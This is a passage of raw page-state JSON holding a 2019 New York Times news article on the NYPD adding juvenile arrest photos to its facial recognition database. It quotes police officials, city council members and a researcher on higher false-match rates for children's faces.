"timestamp":"2019-08-01T17:15:31.000Z","align":"LEFT","__typename":"TimestampBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.1.content.0":{"__typename":"TextInline","text":"[What you need to know to start the day: ","formats":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.1.content.0.formats.0","typename":"ItalicFormat"}]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.1.content.0.formats.0":{"__typename":"ItalicFormat","type":null},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.1.content.1":{"__typename":"TextInline","text":"Get New York Today in your inbox","formats":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.1.content.1.formats.0","typename":"ItalicFormat"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.1.content.1.formats.1","typename":"LinkFormat"}]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.1.content.1.formats.0":{"__typename":"ItalicFormat","type":null},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.1.content.1.formats.1":{"__typename":"LinkFormat","url":"https:\u002F\u002Fwww.nytimes.com\u002Fnewsletters\u002Fnewyorktoday?module=inline","title":""},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.1.content.2":{"__typename":"TextInline","text":".]","formats":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.1.content.2.formats.0","typename":"ItalicFormat"}]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.1.content.2.formats.0":{"__typename":"ItalicFormat","type":null},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.2.content.0":{"__typename":"TextInline","text":"The New York Police Department has been loading ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.2.content.1":{"__typename":"TextInline","text":"thousands of arrest photos of children and teenagers","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.2.content.2":{"__typename":"TextInline","text":" into a facial recognition database despite evidence the technology has a higher risk of false matches in younger faces. ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.4.content.0":{"__typename":"TextInline","text":"For about four years, internal records show, the department has used the technology to compare crime scene images with its collection of juvenile mug ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.4.content.1":{"__typename":"TextInline","text":"shots","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.4.content.2":{"__typename":"TextInline","text":", the photos that are taken at an arrest. Most of the photos are of teenagers, largely 13 to 16 years old, but children as young as 11 have been included. ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.6.content.0":{"__typename":"TextInline","text":"Elected officials and civil rights groups said the disclosure that the city was deploying a powerful surveillance tool on adolescents — whose privacy seems sacrosanct and whose status is protected in the criminal justice system — was a striking example of the Police Department’s ability to adopt advancing technology with little public scrutiny.","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.8.content.0":{"__typename":"TextInline","text":"Several members of the City Council as well as a range of civil liberties groups said they were unaware of the policy until they were contacted by The New York Times. ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.10.content.0":{"__typename":"TextInline","text":"Police ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.10.content.1":{"__typename":"TextInline","text":"Department officials defended the decision, ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.10.content.2":{"__typename":"TextInline","text":"saying it was just the latest evolution of a longstanding policing technique: using arrest photos to identify suspects.","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.12.content.0":{"__typename":"TextInline","text":"“I don’t think this is any secret decision that’s made behind closed doors,” the city’s chief of detectives, Dermot F. Shea, said in an interview. “This is just process, and making sure we’re doing everything to fight crime.” ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.14.content.0":{"__typename":"TextInline","text":"Other cities have begun to debate whether law enforcement should use facial recognition, which relies on an algorithm to quickly pore through images and suggest matches. In May, ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.14.content.1":{"__typename":"TextInline","text":"San Francisco blocked city agencies, including the police","formats":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.14.content.1.formats.0","typename":"LinkFormat"}]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.14.content.1.formats.0":{"__typename":"LinkFormat","url":"https:\u002F\u002Fwww.nytimes.com\u002F2019\u002F05\u002F14\u002Fus\u002Ffacial-recognition-ban-san-francisco.html?module=inline","title":""},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.14.content.2":{"__typename":"TextInline","text":", from using the tool amid unease about potential government ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.14.content.3":{"__typename":"TextInline","text":"abuse","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.14.content.4":{"__typename":"TextInline","text":". ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.14.content.5":{"__typename":"TextInline","text":"Detroit is facing public resistance to a technology ","formats":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.14.content.5.formats.0","typename":"LinkFormat"}]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.14.content.5.formats.0":{"__typename":"LinkFormat","url":"https:\u002F\u002Fwww.nytimes.com\u002F2019\u002F07\u002F08\u002Fus\u002Fdetroit-facial-recognition-cameras.html","title":""},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.14.content.6":{"__typename":"TextInline","text":"that has been shown to have lower accuracy with people with darker skin. ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.16.content.0":{"__typename":"TextInline","text":"In New York, the state Education Department recently told the Lockport, N.Y., ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.16.content.1":{"__typename":"TextInline","text":"school district to delay a plan to use facial recognition on students, citing privacy concerns. ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.18.content.0":{"__typename":"TextInline","text":"“At the end ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.18.content.1":{"__typename":"TextInline","text":"of the day, it should be banned — no young people,” said ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.18.content.2":{"__typename":"TextInline","text":"Councilman Donovan Richards","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.18.content.3":{"__typename":"TextInline","text":", a Queens Democrat who heads the Public Safety Committee, which oversees the Police Department. ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.20.content.0":{"__typename":"TextInline","text":"The department said its legal bureau had approved using facial recognition on juveniles. ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.20.content.1":{"__typename":"TextInline","text":"The algorithm may suggest a lead, but detectives would not make an arrest based solely on ","formats":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.20.content.1.formats.0","typename":"LinkFormat"}]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.20.content.1.formats.0":{"__typename":"LinkFormat","url":"https:\u002F\u002Fwww.nytimes.com\u002F2019\u002F06\u002F09\u002Fopinion\u002Ffacial-recognition-police-new-york-city.html","title":""},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.20.content.2":{"__typename":"TextInline","text":"that","formats":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.20.content.2.formats.0","typename":"LinkFormat"}]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.20.content.2.formats.0":{"__typename":"LinkFormat","url":"https:\u002F\u002Fwww.nytimes.com\u002F2019\u002F06\u002F09\u002Fopinion\u002Ffacial-recognition-police-new-york-city.html","title":""},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.20.content.3":{"__typename":"TextInline","text":", Chief Shea said.","formats":[]},"Image:SW1hZ2U6bnl0Oi8vaW1hZ2UvNWE2OTRjM2UtMjA2Ni01MWExLTk2NWQtNGJlODc3OWJhZGVm":{"id":"SW1hZ2U6bnl0Oi8vaW1hZ2UvNWE2OTRjM2UtMjA2Ni01MWExLTk2NWQtNGJlODc3OWJhZGVm","imageType":"photo","url":"\u002Fimagepages\u002F2019\u002F08\u002F01\u002Fnyregion\u002F00nypd-juveniles2.html","uri":"nyt:\u002F\u002Fimage\u002F5a694c3e-2066-51a1-965d-4be8779badef","credit":"Chang W. Lee\u002FThe New York Times","legacyHtmlCaption":"Dermot Shea, the city&rsquo;s chief of detectives, said investigators would not arrest anyone based solely on a facial recognition match.","crops({\"renditionNames\":[\"articleLarge\",\"jumbo\",\"superJumbo\",\"articleInline\",\"popup\"]})":[{"type":"id","generated":true,"id":"Image:SW1hZ2U6bnl0Oi8vaW1hZ2UvNWE2OTRjM2UtMjA2Ni01MWExLTk2NWQtNGJlODc3OWJhZGVm.crops({\"renditionNames\":[\"articleLarge\",\"jumbo\",\"superJumbo\",\"articleInline\",\"popup\"]}).0","typename":"ImageCrop"},{"type":"id","generated":true,"id":"Image:SW1hZ2U6bnl0Oi8vaW1hZ2UvNWE2OTRjM2UtMjA2Ni01MWExLTk2NWQtNGJlODc3OWJhZGVm.crops({\"renditionNames\":[\"articleLarge\",\"jumbo\",\"superJumbo\",\"articleInline\",\"popup\"]}).1","typename":"ImageCrop"}],"caption":{"type":"id","generated":true,"id":"$Image:SW1hZ2U6bnl0Oi8vaW1hZ2UvNWE2OTRjM2UtMjA2Ni01MWExLTk2NWQtNGJlODc3OWJhZGVm.caption","typename":"TextOnlyDocumentBlock"},"__typename":"Image"},"ImageRendition:images20190802nyregion02nypdjuveniles1-printmerlin_152191512_83c5140a-fad8-400e-b645-a28f31fd7d26-articleLarge.jpg":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F08\u002F02\u002Fnyregion\u002F02nypdjuveniles1-print\u002Fmerlin_152191512_83c5140a-fad8-400e-b645-a28f31fd7d26-articleLarge.jpg","name":"articleLarge","width":600,"height":400,"__typename":"ImageRendition"},"ImageRendition:images20190802nyregion02nypdjuveniles1-printmerlin_152191512_83c5140a-fad8-400e-b645-a28f31fd7d26-popup.jpg":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F08\u002F02\u002Fnyregion\u002F02nypdjuveniles1-print\u002Fmerlin_152191512_83c5140a-fad8-400e-b645-a28f31fd7d26-popup.jpg","name":"popup","width":650,"height":433,"__typename":"ImageRendition"},"ImageRendition:images20190802nyregion02nypdjuveniles1-printmerlin_152191512_83c5140a-fad8-400e-b645-a28f31fd7d26-jumbo.jpg":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F08\u002F02\u002Fnyregion\u002F02nypdjuveniles1-print\u002Fmerlin_152191512_83c5140a-fad8-400e-b645-a28f31fd7d26-jumbo.jpg","name":"jumbo","width":1024,"height":683,"__typename":"ImageRendition"},"ImageRendition:images20190802nyregion02nypdjuveniles1-printmerlin_152191512_83c5140a-fad8-400e-b645-a28f31fd7d26-superJumbo.jpg":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F08\u002F02\u002Fnyregion\u002F02nypdjuveniles1-print\u002Fmerlin_152191512_83c5140a-fad8-400e-b645-a28f31fd7d26-superJumbo.jpg","name":"superJumbo","width":2048,"height":1365,"__typename":"ImageRendition"},"Image:SW1hZ2U6bnl0Oi8vaW1hZ2UvNWE2OTRjM2UtMjA2Ni01MWExLTk2NWQtNGJlODc3OWJhZGVm.crops({\"renditionNames\":[\"articleLarge\",\"jumbo\",\"superJumbo\",\"articleInline\",\"popup\"]}).0":{"renditions":[{"type":"id","generated":false,"id":"ImageRendition:images20190802nyregion02nypdjuveniles1-printmerlin_152191512_83c5140a-fad8-400e-b645-a28f31fd7d26-articleLarge.jpg","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190802nyregion02nypdjuveniles1-printmerlin_152191512_83c5140a-fad8-400e-b645-a28f31fd7d26-popup.jpg","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190802nyregion02nypdjuveniles1-printmerlin_152191512_83c5140a-fad8-400e-b645-a28f31fd7d26-jumbo.jpg","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190802nyregion02nypdjuveniles1-printmerlin_152191512_83c5140a-fad8-400e-b645-a28f31fd7d26-superJumbo.jpg","typename":"ImageRendition"}],"__typename":"ImageCrop"},"ImageRendition:images20190802nyregion02nypdjuveniles1-printmerlin_152191512_83c5140a-fad8-400e-b645-a28f31fd7d26-articleInline.jpg":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F08\u002F02\u002Fnyregion\u002F02nypdjuveniles1-print\u002Fmerlin_152191512_83c5140a-fad8-400e-b645-a28f31fd7d26-articleInline.jpg","name":"articleInline","width":190,"height":127,"__typename":"ImageRendition"},"Image:SW1hZ2U6bnl0Oi8vaW1hZ2UvNWE2OTRjM2UtMjA2Ni01MWExLTk2NWQtNGJlODc3OWJhZGVm.crops({\"renditionNames\":[\"articleLarge\",\"jumbo\",\"superJumbo\",\"articleInline\",\"popup\"]}).1":{"renditions":[{"type":"id","generated":false,"id":"ImageRendition:images20190802nyregion02nypdjuveniles1-printmerlin_152191512_83c5140a-fad8-400e-b645-a28f31fd7d26-articleInline.jpg","typename":"ImageRendition"}],"__typename":"ImageCrop"},"$Image:SW1hZ2U6bnl0Oi8vaW1hZ2UvNWE2OTRjM2UtMjA2Ni01MWExLTk2NWQtNGJlODc3OWJhZGVm.caption":{"text":"Dermot Shea, the city&rsquo;s chief of detectives, said investigators would not arrest anyone based solely on a facial recognition match.","__typename":"TextOnlyDocumentBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.24.content.0":{"__typename":"TextInline","text":"Still, facial recognition has not been widely tested on children. Most algorithms are taught to “think” based on adult faces, and there is growing evidence that they do not work as well on children. ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.26.content.0":{"__typename":"TextInline","text":"The National Institute of Standards and Technology","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.26.content.1":{"__typename":"TextInline","text":", which is part of the Commerce Department and ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.26.content.2":{"__typename":"TextInline","text":"evaluates facial recognition ","formats":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.26.content.2.formats.0","typename":"LinkFormat"}]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.26.content.2.formats.0":{"__typename":"LinkFormat","url":"https:\u002F\u002Fnvlpubs.nist.gov\u002Fnistpubs\u002Fir\u002F2018\u002FNIST.IR.8238.pdf","title":""},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.26.content.3":{"__typename":"TextInline","text":"algorithms","formats":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.26.content.3.formats.0","typename":"LinkFormat"}]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.26.content.3.formats.0":{"__typename":"LinkFormat","url":"https:\u002F\u002Fnvlpubs.nist.gov\u002Fnistpubs\u002Fir\u002F2018\u002FNIST.IR.8238.pdf","title":""},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.26.content.4":{"__typename":"TextInline","text":" for accuracy, recently found the ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.26.content.5":{"__typename":"TextInline","text":"vast majority of more than 100 ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.26.content.6":{"__typename":"TextInline","text":"facial recognition ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.26.content.7":{"__typename":"TextInline","text":"algorithms had a higher rate of mistaken matches among children. The ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.26.content.8":{"__typename":"TextInline","text":"e","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.26.content.9":{"__typename":"TextInline","text":"rror rate was most pronounced in young children but was also seen in those aged 10 to 16.","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.28.content.0":{"__typename":"TextInline","text":"Aging poses another problem:","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.28.content.1":{"__typename":"TextInline","text":" The appearance of children and adolescents can change ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.28.content.2":{"__typename":"TextInline","text":" drastically as bones stretch and shift, altering the underlying facial structure. ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.30.content.0":{"__typename":"TextInline","text":"“I would use extreme caution in using those algorithms,” said ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.30.content.1":{"__typename":"TextInline","text":"Karl Ricanek Jr.","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.30.content.2":{"__typename":"TextInline","text":", a computer science professor and ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.30.content.3":{"__typename":"TextInline","text":"co-founder of the Face Aging Group at the University of North Carolina-","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.30.content.4":{"__typename":"TextInline","text":"Wilmington","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.30.content.5":{"__typename":"TextInline","text":". ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.32.content.0":{"__typename":"TextInline","text":"Technology that can match an image of a younger teenager to a recent arrest photo may be less effective at finding the same person even one or two years later, he said. ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.34.content.0":{"__typename":"TextInline","text":" “The systems do not have the capacity to understand the dynamic changes that occur to a child’s face,” Dr. Ricanek said. ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.36.content.0":{"__typename":"TextInline","text":"Idemia","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.36.content.1":{"__typename":"TextInline","text":" and 